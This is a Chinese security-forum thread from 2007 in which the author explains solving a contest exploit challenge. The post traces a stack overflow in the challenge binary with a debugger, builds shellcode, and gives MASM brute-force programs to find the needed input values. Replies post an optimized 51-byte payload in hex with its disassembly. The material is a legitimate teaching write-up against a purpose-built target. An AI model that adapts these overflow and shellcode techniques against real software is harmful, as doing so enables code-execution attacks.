首页
社区
课程
招聘
[原创]完全不懂shellcode解第二阶段第一题
发表于: 2007-8-30 12:00 9391

[原创]完全不懂shellcode解第二阶段第一题

2007-8-30 12:00
9391

【文章标题】: 不懂shellcode解第二阶段第一题
【文章作者】: bithaha
【作者声明】: 只是感兴趣,没有其他目的。失误之处敬请诸位大侠赐教!
--------------------------------------------------------------------------------
【详细过程】
  不懂溢出和shellcode,本来想早点打出GG,结果捣鼓来捣鼓去还真弄出来了。发下解题过程,其中一些弯路就不写了
  省的浪费篇幅呵呵。
  用OD载入,很容易发现里面有个读取test.txt文件的过程.于是在目录下新建个test文件,随便输入一堆数字78787878,在
  然后点exploit,OD停在了如下地方,显示写入*******内存错误:
  004002E7  |.  85C9          TEST ECX,ECX
  004002E9  |.  7E 05         JLE SHORT ExploitM.004002F0
  004002EB  |.  8D7D D4       LEA EDI,DWORD PTR SS:[EBP-2C]
  004002EE  |.  F3:A5         REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]             ;  (初始 cpu 选择)
  004002F0  |>  5F            POP EDI
  004002F1  |.  33C0          XOR EAX,EAX
  004002F3  |.  5E            POP ESI
  004002F4  |.  C9            LEAVE
  004002F5  \.  C3            RETN
  此时ECX仍然巨大无比,于是往上找ecx怎么来的:
  004002A2  |.  68 A802CC78   PUSH 78CC02A8
  004002A7  |.  68 1B8F9469   PUSH 69948F1B
  004002AC  |.  FF76 04       PUSH DWORD PTR DS:[ESI+4]      ;test文件中第二个双字
  004002AF  |.  FF36          PUSH DWORD PTR DS:[ESI]         ;第一个双字
  004002B1  |.  E8 0A030000   CALL ExploitM.004005C0
  004002B6  |.  68 82FFE65B   PUSH 5BE6FF82
  004002BB  |.  68 854716A5   PUSH A5164785
  004002C0  |.  52            PUSH EDX                      ;上面生成的结果1
  004002C1  |.  50            PUSH EAX                      ;结果2
  004002C2  |.  E8 79020000   CALL ExploitM.00400540        ;返回eax
  004002C7  |.  6A 04         PUSH 4
  004002C9  |.  8BCE          MOV ECX,ESI
  004002CB  |.  5F            POP EDI
  004002CC  |>  8031 1C       /XOR BYTE PTR DS:[ECX],1C
  004002CF  |.  8A11          |MOV DL,BYTE PTR DS:[ECX]
  004002D1  |.  3051 01       |XOR BYTE PTR DS:[ECX+1],DL
  004002D4  |.  41            |INC ECX
  004002D5  |.  41            |INC ECX
  004002D6  |.  4F            |DEC EDI
  004002D7  |.^ 75 F3         \JNZ SHORT ExploitM.004002CC
  004002D9  |.  6A 1A         PUSH 1A                      ;eax和1A捣鼓一下,生成ecx
  004002DB  |.  59            POP ECX
  004002DC  |.  2BC8          SUB ECX,EAX
  004002DE  |.  0FAFC8        IMUL ECX,EAX
  004002E1  |.  81E9 9C000000 SUB ECX,9C
  004002E7  |.  85C9          TEST ECX,ECX                 
  004002E9  |.  7E 05         JLE SHORT ExploitM.004002F0
  004002EB  |.  8D7D D4       LEA EDI,DWORD PTR SS:[EBP-2C]
  话又说回来了,看到这个错误心中狂喜,正愁找不到溢出的地方那,这下可逮住你了。
  运行到004002EE  |.  F3:A5         REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI] 的时候,edi的值是堆栈中的
  地址,我在这个地方修改了一下ecx为1,这样不至于覆盖到下面的返回地址,于是程序照常运行来到此处:
  004002EE  |.  F3:A5         REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]             ;  (初始 cpu 选择)
  004002F0  |>  5F            POP EDI
  004002F1  |.  33C0          XOR EAX,EAX
  004002F3  |.  5E            POP ESI
  004002F4  |.  C9            LEAVE
  004002F5  \.  C3            RETN ;返回
  在运行到retn指令的时候查看一下堆栈地址:12FB48,减去4002EE处的EDI中的值:12FB18正好等于30H,于是要覆盖12FB48中的地址才能
  完成溢出,覆盖的字节数应为34H,所以进而得知ecx=0Dh。
  再来搞shellcode.先把shellcode定义为34H个字节,前八位先不管,后四位为要覆盖到上面那个返回地址中的值,中间如下:
  mov ecx,214B4FH;OK
  mov dword ptr [400260],ecx ;OK!,修改fail为OK
  mov dword ptr [400268],ecx;修改try为OK
  mov ebp,esp
  add ebp,20h;因为shellcode要覆盖ebp中的内容,而ebp中的内容正好是esp+24H
  push 400383;要覆盖的返回地址
  ret ;返回到400383
  如果shellcode的地址是静态的,直接在shellcode的后四位写上地址,配合4002F5处的retn,程序就可以自动返回到shellcode执行了
  可惜保存shellcode的两个地址一个在堆栈中,一个是用virtualalloc申请的,都是动态的。
  再看看运行到4002F5时的堆栈,幸好,在返回地址的下面正好保存着那个用virtualalloc申请的shellcode地址,现在
  只要把shellcode的后四位用一个ret指令的地址添上,这样两次ret正好开始执行shellcode了。
  下面就是确定前两个双字的问题,我把大量时间都花费了这上面。
  因为那两个字节要满足以下条件:
  1,经过一系列运算,必须要得出ecx=0DH
  2,那个xor 1C过程,生成的结果必须要是指令,而且还得是合适的指令,能执行到真正的shellcode
  其中第一个条件就够整人的了,再加上第二个条件,我又想GG了。
  最后是用爆破加人工验证来实现的:大概思路是先爆出与1A运算得出ecx的那个eax中的值,然后设后四个四节经过xor 1C运算后
  的指令为 90 90 90 90(其它也可以比如1C1C1C1C),这样后四个字节就是8C 00 8C 00,第二个双字就是008C008C
  再根据第二个双字和过程1,枚举出一系列双字,然后从中挑出满足条件的。
  详细过程就是两个程序:
  程序一:爆破得出eax,结果为eax=0DH,耗时1秒不到
  .386
  .model flat,stdcall
  option casemap:none
  include windows.inc
  include user32.inc
  includelib user32.lib
  include kernel32.inc
  includelib kernel32.lib
  .data?
  szOut db 20 dup (?)
  .const
  szOK db 'Finished!!',0
  szOutFormat db '%x',0
  .code
  start:
  mov eax,00h
  @2:
  mov ecx,1AH
  sub ecx,eax
  imul ecx,eax
  cmp ecx,0A9h
  jz @1
  inc eax
  jmp @2
  @1:
  invoke wsprintf,addr szOut,addr szOutFormat,eax
  invoke MessageBox,NULL,addr szOut,addr szOK,MB_OK
  invoke ExitProcess,NULL
  end start
  程序2:爆破出一系列使得eax=0DH的第一个双字(第二个双字刚才确定为008C008C),耗时10分钟左右
  .386
  .model flat,stdcall
  option casemap:none
  include windows.inc
  include user32.inc
  includelib user32.lib
  include kernel32.inc
  includelib kernel32.lib
  
  .data
  temp dd 0h        
       db 0h
  dd026 dd 008C008CH;//定义的第二个dword,这些名字都是我当时为了自己好分别起的,没啥意义
  dd699 dd 69948F1Bh
  dd78c dd 78CC02A8h
  dd5be dd 5BE6FF82H
  dd0a5 dd 0A5164785h
  
  .data?
  ddEDX dd ?
  ddEAX dd ?
  hFile dd ?
  szOutStr db 50 dup (?)
  ddWriten dd ?
  .const
  szOutFamat db '%x',0dh,0ah,0
  szOK db 'Finished!!',0
  szFileName db 'out.text',0
  .code
  start:
  invoke CreateFile,addr szFileName,GENERIC_WRITE,FILE_SHARE_DELETE,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL
  mov hFile,eax
  @1:
  mov eax,dd026
  mul dd699
  mov ebx,eax
  mov eax,temp
  mul dd78c
  add ebx,eax
  mov eax,temp
  mul dd699
  add edx,ebx;
  mov ddEDX,edx
  mov ddEAX,eax
  mov ecx,dd5be
  mov ebx,dd0a5
  L000:
    SHR ECX,1
    RCR EBX,1
    SHR EDX,1
    RCR EAX,1
    OR ECX,ECX
    JNZ L000
  div ebx
  mov ecx,eax
  mul dd5be
  xchg eax,ecx
    MUL dd0a5
    ADD EDX,ECX
    JB L008
    CMP EDX,ddEDX
    JA L008
    JB L010
    CMP EAX,ddEAX
    JBE L010
  L008:
    SUB EAX, dd0a5
    SBB EDX,dd5be
  L010:
    SUB EAX,ddEAX
    SBB EDX,ddEDX
    NEG EDX
    NEG EAX
    SBB EDX,0
    cmp eax,0Dh
    jz @2
    inc temp
    mov eax,temp
    cmp eax,0FFFFFFFFH
    jz @3
    jmp @1
  
  @2:
   
    invoke wsprintf,addr szOutStr,addr szOutFamat,temp
    invoke WriteFile,hFile,addr szOutStr,8,addr ddWriten,NULL;输出第一个dword
    inc temp
    mov eax,temp
    cmp eax,0FFFFFFFFH
    jz @3
    jmp @1
  
  @3:
    invoke MessageBox,NULL,addr szOK,addr szOK,MB_OK
    invoke CloseHandle,hFile
    invoke ExitProcess,NULL
  end start
  在程序2完成后共获得两组数据,第一组数据生成的命令是 retF ****,运行不了,晕
                               第二组数据(EFF333B5)生成的命令是:
                      02A30000    A9 9AEF0090     TEST EAX,9000EF9A
                      02A30005    90              NOP
                      02A30006    90              NOP
                      02A30007    90              NOP
  真是爽歪歪,正好满足要求。然后在下面把上面的shellcode命令一个一个添上,添上完后在对比着OD中的内容用c32asm写到test文件
  里面,修改前八个字节为B5 33 F3 EF 8C 00 8C 00 后四个双字为F5 02 40 00(后面这个00有无皆可,没有的话shellcode就
  变成51字节了)。
  完成!不到之处,往各位大侠多多指教。
  
  
                              
  
  
  
  
--------------------------------------------------------------------------------
【版权声明】: 本文原创于看雪技术论坛, 转载请注明作者并保持文章的完整, 谢谢!

                                                       2007年08月30日 下午 12:00:36


[招生]系统0day安全班,企业级设备固件漏洞挖掘,Linux平台漏洞挖掘!

收藏
免费 7
支持
分享
最新回复 (14)
雪    币: 112
活跃值: (16)
能力值: ( LV9,RANK:290 )
在线值:
发帖
回帖
粉丝
2
天天天天天天天天天天
2007-8-30 12:01
0
雪    币: 6075
活跃值: (2236)
能力值: (RANK:1060 )
在线值:
发帖
回帖
粉丝
3
吸引火力???
2007-8-30 12:03
0
雪    币: 201
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
学习。。。。。。
2007-8-30 12:05
0
雪    币: 325
活跃值: (97)
能力值: ( LV13,RANK:530 )
在线值:
发帖
回帖
粉丝
5
.....5555楼主太聪明了。。。。 我也是想到暴力,不过没有想到先指定高位的值 而是从0开始 显然不现实。找到一组  可以使retf XXXX显然不可以用。
后来又去找算法
unsigned __int64 initVar = 0;
        unsigned __int64 divisor;
        divisor = initVar * 0x78CC02A869948F1B;
        unsigned __int64 dividend = 0x5BE6FF82A5164785;
        int result = divisor % dividend;

但是一直没有能够处理好溢出的问题。

其实算法应该是 0x78CC02A869948F1B * X % 0x5BE6FF82A5164785 == 0D 最后面是一个二次方程。

但是偶实在是太笨了。~~~~~
2007-8-30 12:06
0
雪    币: 1505
能力值: (RANK:210 )
在线值:
发帖
回帖
粉丝
6
牛们说的话都像天书,听不懂呀
2007-8-30 12:07
0
雪    币: 105
活跃值: (10)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
7
由于偶不能发新贴,只能在回复写下

我提交是67B 对平台的默认语言是有依赖性。
相信很多只能优化到60B的人都会有同样的问题。

确实此题出的非常高超,先赞一个。优化的极限: 51B

文件数据(需要转为二进制)
b5 33 f3 ef e2 0b 79 25
B8 4F 4B 21 00 A3 60 02
40 00 A3 68 02 40 00 B8
BF 03 40 00 89 44 24 0C
8B C5 8B EC 83 C5 20 FF
E0 CC CC CC 85 03 40 00
B8 02 40

缓冲区中的代码
00BA0000   A9 9AEF00FE      TEST EAX,FE00EF9A
00BA0005   F5               CMC
00BA0006   65:40            INC EAX                                  ; 多余的前缀
00BA0008   B8 4F4B2100      MOV EAX,214B4F             ; "OK!"
00BA000D   A3 60024000      MOV DWORD PTR DS:[400260],EAX
00BA0012   A3 68024000      MOV DWORD PTR DS:[400268],EAX
00BA0017   B8 BF034000      MOV EAX,4003BF           ; 只能优化到60B时必须用的指令
00BA001C   894424 0C        MOV DWORD PTR SS:[ESP+C],EAX
00BA0020   8BC5             MOV EAX,EBP
00BA0022   8BEC             MOV EBP,ESP
00BA0024   83C5 20          ADD EBP,20                     ; 复原 EBP值
00BA0027  -FFE0             JMP EAX                                  ; ExploitM.00400385

下面是开发时用的数据。

长度计算公式
(1AH-eax)*eax-9CH = 45H
eax=D

s[0]文件中第一个DWORD值 s[4]文件中第二个DWORD值

第一转换函数我用的是穷举法直接找到输入值(大约1到2分钟就可以出结果)
    计算公式
    edx:eax=str[0]*(69948F1BH)+(str[4]*(69948F1BH)+str[0]*78CC02A8H))<<32

第二转换函数 输出均为0xD

idx=0 0x0        0xxx  d       s[0] 8ad397f7 s[4] 7590c53f
变形后汇编指令
    EB 7C jmp xxx7E 代码长度至少为 0x80
idx=1 0x5BE6FF82 1xxx A5164792 s[0] 3d6365d6 s[4] 704da9f2
    变形后汇编指令会跳出缓冲区
idx=2 0xB7CDFF05 0xxx 4A2C8F17 s[0] eff333b5 s[4] 6b0a8ea4
    变形后汇编指令会跳出缓冲区
idx=2 0xEF42D68F 0xxx 4A2C8F17 s[0] eff333b5 s[4] 25790be2
变形后汇编指令
00BA0000   A9 9AEF00FE      TEST EAX,FE00EF9A
00BA0005   F5               CMC
00BA0006   65:40            INC EAX                                  ; 多余的前缀
   正确执行

代理中转地址(在EXE文件中): 004002B8 FFE6 JMP ESI
2007-8-30 12:11
0
雪    币: 1505
能力值: (RANK:210 )
在线值:
发帖
回帖
粉丝
8
试过从指定高位的值,爆不出来,只好换低位。 也没看出来什么算法,就知道是自己不懂的算法。
2007-8-30 12:11
0
雪    币: 1505
能力值: (RANK:210 )
在线值:
发帖
回帖
粉丝
9
爆破以后选择就需要人品了,哈哈,我没看你的程序,但是如果按照这样算结果肯定不止那么多。而是有N个满足条件。不信把后四位写成00 00 00 00爆前几位试试
2007-8-30 12:17
0
雪    币: 295
活跃值: (461)
能力值: ( LV9,RANK:210 )
在线值:
发帖
回帖
粉丝
10
解决问题的思路在于开辟的虚拟空间可以执行,否则的话就要另辟蹊径了
2007-8-30 13:05
0
雪    币: 598
活跃值: (282)
能力值: ( LV13,RANK:330 )
在线值:
发帖
回帖
粉丝
11
不会算法,又是模又是逆的。。。
暴力不用另编程序,直接在OD中改,两个dword循环一下就行了,符合条件的值很多
2007-8-30 13:39
0
雪    币: 149
活跃值: (354)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
12
我只是做猜想,没有实现.我使用的是前面的特征数FFE6
对了,想问问为什么不能是50,51的那个40也可以省略掉.(我只是想想,没有做验证)
2007-8-30 14:45
0
雪    币: 105
活跃值: (10)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
13
因为数据是一次复制的最少为4个字节(双字)
2007-8-30 15:10
0
雪    币: 1505
能力值: (RANK:210 )
在线值:
发帖
回帖
粉丝
14
40好像不能省掉吧 程序里面没有****的地址啊 只有******的地址
我刚开始也是先确定前几位,但是换了一个又一个就是爆不出来,于是只好换了,没仔细分析那个算法。
呵呵。爆出来的值大多都能执行的,只是有些跳到一边去了。
2007-8-30 16:55
0
雪    币: 149
活跃值: (354)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
15
恩,你是对的
2007-8-30 18:20
0
游客
登录 | 注册 方可回帖
返回
// // 统计代码